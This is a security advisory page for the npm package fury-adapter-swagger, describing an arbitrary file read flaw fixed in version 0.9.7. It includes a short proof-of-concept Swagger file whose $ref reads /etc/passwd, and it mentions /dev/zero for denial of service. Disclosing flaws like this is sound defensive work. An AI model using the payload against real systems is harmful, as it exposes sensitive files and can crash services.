Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJyN2YtNGgyYy01eDcz

fury-adapter-swagger allows arbitrary file read from system

fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.

Permalink: https://github.com/advisories/GHSA-2r7f-4h2c-5x73
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJyN2YtNGgyYy01eDcz
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 4 years ago
Updated: over 1 year ago

CVSS Score: 7.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Identifiers: GHSA-2r7f-4h2c-5x73, CVE-2016-1000249
References:

• https://www.npmjs.com/advisories/305
• https://github.com/apiaryio/fury-adapter-swagger/pull/89
• https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7
• https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29
• https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024
• https://github.com/advisories/GHSA-2r7f-4h2c-5x73

Repository: https://github.com/apiaryio/fury-adapter-swagger
Blast Radius: 14.1

Affected Packages